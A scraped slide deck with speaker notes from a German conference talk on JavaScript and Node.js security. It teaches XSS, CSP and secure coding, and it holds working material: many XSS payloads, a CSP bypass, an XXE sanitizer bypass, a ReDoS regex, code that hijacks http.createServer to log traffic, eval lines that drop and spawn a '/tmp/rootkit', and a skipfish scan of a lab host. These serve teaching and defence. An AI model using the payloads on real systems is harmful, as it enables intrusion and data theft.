etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.
ZXSS
Content-Security-Policy: default-src ‘self‘
<img src=“bla“ onerror=alert(1)>
Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘
<img src=“bla“ onerror=alert(1)>
Header
115
man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens
wieder aktivieren.
ZXSS
CSP deaktivieren:
<meta http-equiv="Content-Security-Policy"
content="default-src 'none'">
injecten.
Header
116
Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren ...
ZXSS
X-XSS-Protection: 1; mode=block
X-FRAME-OPTIONS: DENY
Header
117
Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch
zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein
lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich
kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre.
X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen,
sollte man also machen, wenn man nicht partout eingebettet werden muss.
ZXSS
Die eigene Applikation aus dem Blick des Angreifers...
Pentesting
118
ZXSS
Demo 1:
XSSme in Firefox
Pentesting
119
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
ZXSS
Demo 2:
Tamper Data in Firefox
Pentesting
120
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
ZXSS
Demo 3:
Google Skipfish
Pentesting
121
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/
mutillidae/
ZXSS
Demo 4:
BurpSuite Professional
Pentesting
122
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/
mutillidae/
ZXSS
Demo 4:
BurpSuite Professional
Pentesting
123
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/
mutillidae/
ZXSS
High-End:
BurpSuite mit Crawljax,
einem Selenium-basiertem
Crawler.
Pentesting
124
Das ist das aktuelle High-End, leider habe ich es noch nicht kompiliert bekommen :-/
ZNode.js
Node.js Security
125
ZNode.js
Viele Sinks:
eval(),ChildProcess.*, Cluster.*,fs.*,
http.*, net.*, process.*, dgram.*
Zugriff auf Netzwerk, Filesystem,
Prozesse
126
In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen
unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen
Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend
weniger auf die Risiken dahinter.
ZNode.js
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello Worldn');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');
127
Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit
ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann
ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.
ZNode.js
var http = require('http');
oldfunc = http.createServer;
http.createServer=function (myfunc) {
console.log('Hijacking createServer');
newfunc = function (req, res) {
result = myfunc(req, res);
console.log('MITM Request:');
console.log(req);
console.log('MITM Response:');
console.log(res);
return result;
}
return oldfunc(newfunc);
}
128
Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu
einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich
auch http.createServer umschreiben.
ZNode.js
Demo
129
var http = require('http');
oldfunc = http.createServer;
http.createServer=function (myfunc) {
console.log('Hijacking createServer');
newfunc = function (req, res) {
result = myfunc(req, res);
console.log('MITM Request:');
console.log(req);
console.log('MITM Response:');
console.log(res);
return result;
}
return oldfunc(newfunc);
}
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello Worldn');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');
ZNode.js
npms
130
Kommen wir zu einem ganz dunklem Kapitel.
ZNode.js
Authenticated only by E-Mail
ca 30.000 Packages, no Security-Checks
Sinks:
zB 1686*Spawn()
9518*eval()
3977*writeFile()
Average Quality is low
131
Kommen wir zu einem ganz dunklem Kapitel.
NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die
offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-
Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der
Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns
kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu
werden.
ZNode.js
Support für typische Security-Features:
- node-validator für validation & sanitizing
require('validator').sanitize(mystr).xss();
- express csrf middleware
app.use(express.csrf());
132
Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im
express-Umfeld vorhanden.
ZNode.js
node-validator Sanitizer:
Blacklister, also gibt es Workarounds:
<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>
und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
133
Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen
sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren
Workarounds.
ZNode.js
SQL-Injections:
nodejsdb solide, inklusive Parameter binding
Aber: Whitelisting von Bezeichnern und SQL-
Syntax trotzdem erforderlich
134
Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql
Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren
Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-
Injections möglich.
Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten
Module sind nicht wirklich vertrauenswürdig.
ZNode.js
ReDOS-Attacken: existierende reguläre
Ausdrücke so füttern, dass sie beliebig viel
CPU brauchen.
Beispiel:
var match = /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');
Blockiert den Server > 10 Sekunden.
135
ZNode.js
Wenn ich ein eval() im Server habe ...
process.kill(process.id);
require(‘fs‘).writeFileSync(‘/tmp/rootkit‘, data, ‘base64);
require(‘child_process‘).spawn(‘/tmp/rootkit‘);
136
ZNode.js
Node.js auch auf Port 80 nicht als Root!
per sudo starten und dann ...
var uid = parseInt(process.env.SUDO_UID);
if (uid) process.setuid(uid);
137
ZFazit
Basis-Infrastruktur sichern:
gute Libraries
guter JavaScript-Stil
mit JSLint/JSHint sichern
Blacklists sind nie 100%
Escaping nur nach Kontext
138
ZFazit
Danke!139
Khttps://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
http://www.contextis.com/files/Browser_Timing_Attacks.pdf
http://www.owaspbwa.org/
http://deadliestwebattacks.files.wordpress.com/2013/02/javascript-security-html5.pdf
http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
140
ZFazit
Bonus 141
ZFazit
Jemand mit Mut, der seine
Seite live getestet haben will?
142
ZFazit
Bonus-Rant zum
tweeten:
Der HTML-Parser und die DOM-
API sind unreparierbar kaputt.
143

Mais conteúdo relacionado

Destaque (14)

Success Story "Agile Entwicklung im Onsite Outsourcing"
Success Story "Agile Entwicklung im Onsite Outsourcing"Success Story "Agile Entwicklung im Onsite Outsourcing"
Success Story "Agile Entwicklung im Onsite Outsourcing"
 
Schloss Meersburg.pdf
Schloss Meersburg.pdfSchloss Meersburg.pdf
Schloss Meersburg.pdf
 
Präsentationstraining charts
Präsentationstraining chartsPräsentationstraining charts
Präsentationstraining charts
 
PM5.pdf
PM5.pdfPM5.pdf
PM5.pdf
 
PM F1-Test Valencia.pdf
PM F1-Test Valencia.pdfPM F1-Test Valencia.pdf
PM F1-Test Valencia.pdf
 
USP-D WP HR Strategie Workshop
USP-D WP HR Strategie WorkshopUSP-D WP HR Strategie Workshop
USP-D WP HR Strategie Workshop
 
Gunther schmidt sys telios
Gunther schmidt sys teliosGunther schmidt sys telios
Gunther schmidt sys telios
 
U 400 Baden-Baden.pdf
U 400 Baden-Baden.pdfU 400 Baden-Baden.pdf
U 400 Baden-Baden.pdf
 
C1 SetCon Broschüre Software Testen
C1 SetCon Broschüre Software TestenC1 SetCon Broschüre Software Testen
C1 SetCon Broschüre Software Testen
 
pi919.pdf
pi919.pdfpi919.pdf
pi919.pdf
 
pri1065_Konjunkturbericht_2. Quartal 2010.pdf
pri1065_Konjunkturbericht_2. Quartal 2010.pdfpri1065_Konjunkturbericht_2. Quartal 2010.pdf
pri1065_Konjunkturbericht_2. Quartal 2010.pdf
 
USA aktuell.pdf
USA aktuell.pdfUSA aktuell.pdf
USA aktuell.pdf
 
1-44-08_31.05.2010.pdf
1-44-08_31.05.2010.pdf1-44-08_31.05.2010.pdf
1-44-08_31.05.2010.pdf
 
USP-D Zukunft Personal
USP-D Zukunft PersonalUSP-D Zukunft Personal
USP-D Zukunft Personal
 

Semelhante a JavaScript und Security - JavaScript Days 2013 Berlin

JavaScript Days 2015: Security
JavaScript Days 2015: SecurityJavaScript Days 2015: Security
JavaScript Days 2015: SecurityMayflower GmbH
 
Flash cs3, ajax und php
Flash cs3, ajax und phpFlash cs3, ajax und php
Flash cs3, ajax und phpsameerpclab1
 
Mojo, Twitter und Konsorten
Mojo, Twitter und KonsortenMojo, Twitter und Konsorten
Mojo, Twitter und KonsortenPhilipp Naderer
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018Christian Mücke
 
C/ C++ for Notes & Domino Developers
C/ C++ for Notes & Domino DevelopersC/ C++ for Notes & Domino Developers
C/ C++ for Notes & Domino DevelopersUlrich Krause
 
Cloud Computing am Beispiel dctp.tv
Cloud Computing am Beispiel dctp.tvCloud Computing am Beispiel dctp.tv
Cloud Computing am Beispiel dctp.tvFabian Topfstedt
 
Der Status Quo des Chaos Engineerings
Der Status Quo des Chaos EngineeringsDer Status Quo des Chaos Engineerings
Der Status Quo des Chaos EngineeringsQAware GmbH
 
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer Infrastruktur
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer InfrastrukturContinuous Delivery für Cloud-native Anwendungen auf Cloud-nativer Infrastruktur
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer InfrastrukturQAware GmbH
 
SplunkLive! München - Flughafen München
SplunkLive! München - Flughafen MünchenSplunkLive! München - Flughafen München
SplunkLive! München - Flughafen MünchenSplunk
 
Archivistavm OpenTuesday Digicomp
Archivistavm OpenTuesday DigicompArchivistavm OpenTuesday Digicomp
Archivistavm OpenTuesday DigicompDigicomp Academy AG
 
Supersonic Java für die Cloud: Quarkus
Supersonic Java für die Cloud: QuarkusSupersonic Java für die Cloud: Quarkus
Supersonic Java für die Cloud: QuarkusOPEN KNOWLEDGE GmbH
 
Christian heilmann wie javascript die welt eroberte
Christian heilmann   wie javascript die welt eroberteChristian heilmann   wie javascript die welt eroberte
Christian heilmann wie javascript die welt eroberteChristian Heilmann
 

Semelhante a JavaScript und Security - JavaScript Days 2013 Berlin (20)

JavaScript Days 2015: Security
JavaScript Days 2015: SecurityJavaScript Days 2015: Security
JavaScript Days 2015: Security
 
Erfolgreiche rewrites
Erfolgreiche rewritesErfolgreiche rewrites
Erfolgreiche rewrites
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
Flash cs3, ajax und php
Flash cs3, ajax und phpFlash cs3, ajax und php
Flash cs3, ajax und php
 
Node.js Security
Node.js SecurityNode.js Security
Node.js Security
 
Mojo, Twitter und Konsorten
Mojo, Twitter und KonsortenMojo, Twitter und Konsorten
Mojo, Twitter und Konsorten
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
 
C/ C++ for Notes & Domino Developers
C/ C++ for Notes & Domino DevelopersC/ C++ for Notes & Domino Developers
C/ C++ for Notes & Domino Developers
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
Debugging und Profiling
Debugging und ProfilingDebugging und Profiling
Debugging und Profiling
 
Cloud Computing am Beispiel dctp.tv
Cloud Computing am Beispiel dctp.tvCloud Computing am Beispiel dctp.tv
Cloud Computing am Beispiel dctp.tv
 
Der Status Quo des Chaos Engineerings
Der Status Quo des Chaos EngineeringsDer Status Quo des Chaos Engineerings
Der Status Quo des Chaos Engineerings
 
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer Infrastruktur
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer InfrastrukturContinuous Delivery für Cloud-native Anwendungen auf Cloud-nativer Infrastruktur
Continuous Delivery für Cloud-native Anwendungen auf Cloud-nativer Infrastruktur
 
SplunkLive! München - Flughafen München
SplunkLive! München - Flughafen MünchenSplunkLive! München - Flughafen München
SplunkLive! München - Flughafen München
 
Archivistavm OpenTuesday Digicomp
Archivistavm OpenTuesday DigicompArchivistavm OpenTuesday Digicomp
Archivistavm OpenTuesday Digicomp
 
Supersonic Java für die Cloud: Quarkus
Supersonic Java für die Cloud: QuarkusSupersonic Java für die Cloud: Quarkus
Supersonic Java für die Cloud: Quarkus
 
Christian heilmann wie javascript die welt eroberte
Christian heilmann   wie javascript die welt eroberteChristian heilmann   wie javascript die welt eroberte
Christian heilmann wie javascript die welt eroberte
 
JavaScript Performance
JavaScript PerformanceJavaScript Performance
JavaScript Performance
 

Mais de Johann-Peter Hartmann

E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018Johann-Peter Hartmann
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtJohann-Peter Hartmann
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Johann-Peter Hartmann
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenJohann-Peter Hartmann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeJohann-Peter Hartmann
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startupJohann-Peter Hartmann
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesJohann-Peter Hartmann
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developersJohann-Peter Hartmann
 

Mais de Johann-Peter Hartmann (20)

The End of my Career
The End of my CareerThe End of my Career
The End of my Career
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018
 
DevOps beyond the Tools
DevOps beyond the ToolsDevOps beyond the Tools
DevOps beyond the Tools
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommt
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?
 
Die Architektur, die man kann
Die Architektur, die man kannDie Architektur, die man kann
Die Architektur, die man kann
 
NewWork in der Praxis
NewWork in der PraxisNewWork in der Praxis
NewWork in der Praxis
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und Systemadministratoren
 
Das Ende der Karriere
Das Ende der KarriereDas Ende der Karriere
Das Ende der Karriere
 
DevOps jenseits der Tools
DevOps jenseits der ToolsDevOps jenseits der Tools
DevOps jenseits der Tools
 
Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-Verträge
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startup
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektes
 
Agile versus Management WJAX 2014
Agile versus Management WJAX 2014Agile versus Management WJAX 2014
Agile versus Management WJAX 2014
 
Leadership in der IT
Leadership in der ITLeadership in der IT
Leadership in der IT
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Surviving Complexity
Surviving ComplexitySurviving Complexity
Surviving Complexity
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developers
 
Serverside Cryptoparty
Serverside CryptopartyServerside Cryptoparty
Serverside Cryptoparty
 

JavaScript und Security - JavaScript Days 2013 Berlin

  • 2. Müdigkeit: Ich > Ihr. 2 Ich bin übrigens deutlich müder als Ihr. Ich bin heute morgen mit dem Flieger aus München gekommen, das heisst: um 5:30 am Flughafen sein, also um halb 5 aufstehen. Und bei uns ist gerade Oktoberfest.
  • 3. Berliner Flughafen?! 3 Für mich als Münchner war das erst mal verblüffend hier überhaupt anzukommen - hey, die Berliner haben einen Flughafen? Ist der denn schon fertig?
  • 4. Berlin FTW! 4 Aber nichts desto trotz, ich freue mich in Berlin zu sein. Wer kommt alles aus Berlin? Hamburg? München? Eigentlich sollte ich nach was anderem fragen: Wer entwickelt auf node.js? Wer eher im Browser?
  • 5. JavaScript Days Muc 5 Aber zurück zu München. Mirko und die Jungs von Qafoo hatten mich dort gefragt, ob ich nicht auch einen Vortrag machen möchte. Im wesentlichen weil mein Büro 300 Meter von den JavaScript Days entfernt war.
  • 6. DISCLAIMER: No JavaScript-God But pretty good at breaking stuff. 6 Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
  • 7. Warum JavaScript aus den gleichen Gründen Gold und Müll ist 7 Der Inhalt des Vortrags in München war in etwa, warum JavaScript als den gleichen Gründen völlig mächtig und super ist - und parallel dazu ein völlig riskantes, hirntotes Konstrukt.
  • 8. OH NOES! JavaScript Security! 8 Einer der Hauptgründe für warum es echt schmerzhaft ist ist Security. Und nach dem Talk haben wir dann noch mal drüber gesprochen, ob man nicht mal einen Workshop darüber machen sollten. Und da bin ich.
  • 9. CPU BUS Speicher 9 In meinem Talk im März habe ich das wie ein guter Informatiker abstrakt und umständlich begründet. Und zwar mit der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.
  • 10. CPU BUS Speicher: Echte Daten Laufzeitdaten: Heap, Stack 10 Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der Prozesse, oder im Heap für angeforderte Daten.
  • 11. Speicher: Echte Daten Laufzeitdaten: Heap, Stack Für die CPU sind Daten, Laufzeitvariablen und Code das gleiche 11 Und das hat vor allem eine Konsequenz: Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche: manipulierbarer Speicher.
  • 12. Für die CPU sind Daten, Laufzeitvariablen und Code das gleiche •Buffer Overflows •Integer Overflows •Format String Bugs •Use after Free 12 Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security- Problemen führen. Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt. Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.
  • 13. Browser: Daten, Code, Darstellung OS: Variablen Für den Browser sind Daten, Code und Darstellung das gleiche 13 Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995 auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.
  • 14. Für den Browser sind Daten, Code und Darstellung das gleiche •Session Riding •XSS •CSRF •JavaScript Hijacking •Clickjacking  14 Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den einzelnen Punkten komme ich natürlich noch.
  • 15. 15 Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der machen, was er will.
  • 16. 16 Beim Browser sieht das anders aus - da habe ich zwar meinen lokalen Client, dem ich zwar prinzipiell vertraue - aber dieser führt Code aus, der aus dem Internet kommt - und dem ich meistens nicht vertrauen. Deshalb wird JavaScript ja auch in einer Sandbox ausgeführt. Und meist habe ich Daten und JavaScript von verschiedenen Quellen auf, die wiederum andere Quellen einbinden können - dementsprechend kann ich dem, was im Browser passiert, nie wirklich trauen. Deshalb wurde HTTPs eingeführt, damit ist wenigstens - jenseits der NSA - die Authentizi
  • 17. •2.5 Milliarden Browser-Clients •1 Milliarde Smartphones •Private Daten im Browser •Bankdaten im Browser •Milliardensummen in Transaktionen Largest Attack Surface Ever! 17 Und die Grafik von eben gibt es nicht nur einmal. Sondern endlos oft. 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.
  • 18. E Und konkret? 18 Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch dahinter steht.
  • 19. KXSS 19 Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?
  • 20. KXSS Cross Site Scripting 20 Genau, das sollte auch jeder Wissen. Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben. Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.
  • 21. KXSS JavaScript Injection 21 Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.
  • 22. KXSS <html> <head> <title>JavaScript-Test</title> <script src="quadrat.js" type="text/javascript"> </script> </head> 22 JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.
  • 23. KXSS <html> <head> <title>JavaScript-Test</title> <script src="quadrat.js" type="text/javascript"> </script> </head> I WANT MOAR! 23 Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...
  • 24. KXSS <html><head><title>JavaScript-Test</title> <script type="text/javascript"> alert(“Hi!“); </script> </head> 24 Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...
  • 25. KXSS <a href=“javascript:alert(/Hi!/);“>Click me</a> 25 Einfach URLs nutzen könnte, um JavaScript auszuführen???
  • 26. KXSS <meta http-equiv=“refresh“ content=“0;url=“javascript:alert(1);“> 26 Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.
  • 27. KXSS <table background=“javascript:... 27 Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind. Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist. Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.
  • 28. KXSS <input value=“12“ onmouseover=“alert(1);“> 28 Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.
  • 29. KXSS <style>a: expression(alert(1))</style> 29 Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.
  • 30. KXSS <STYLE>.XSS{background- image:url("javascript:alert('XSS')");}</ STYLE><A CLASS=XSS></A> 30 Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen. Glücklicherweise auf neuen Browsern auch nicht mehr möglich.
  • 31. KXSS <script> xss = “alert(1);“; eval(xss); </script> 31 Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.
  • 32. KXSS 32 Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.
  • 33. KXSS 33 Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren! MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.
  • 34. KXSS Das ist unpraktisch! 34 Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.
  • 35. KXSS Für den Browser sind Daten, Code und Darstellung das gleiche 35 Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.
  • 36. KXSS Ich wollte doch nur Daten schreiben! 36 Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.
  • 37. KXSS <p>Name: Hartmann</p> <p>Name: Hartmann<script>alert(1);</ script></p> 37 Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.
  • 38. KXSS <script> plz = 80331; <script> <script> plz = 80331;alert(1); <script> 38 Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.
  • 39. KXSS <input type=text value=“Hartmann“> <input type=text value=“Hartmann“ AUTOFOCUS onfocus=“alert(1);“> 39 Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;
  • 40. KXSSXSS Type 0: Dom-based XSS Lokal, nur im Client, ohne Server. Deshalb hilft serverside Mitigation nicht. Meist basierend auf location.* 40 Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt. Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht. Man kann sich nur direkt im Javascript schützen.
  • 41. KXSSXSS Type 1: Reflected XSS Die typische XSS. Eingabe -> Ausgabe -> Boom. Schön zu testen. Andere Seite heilt den XSS. 41 Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.
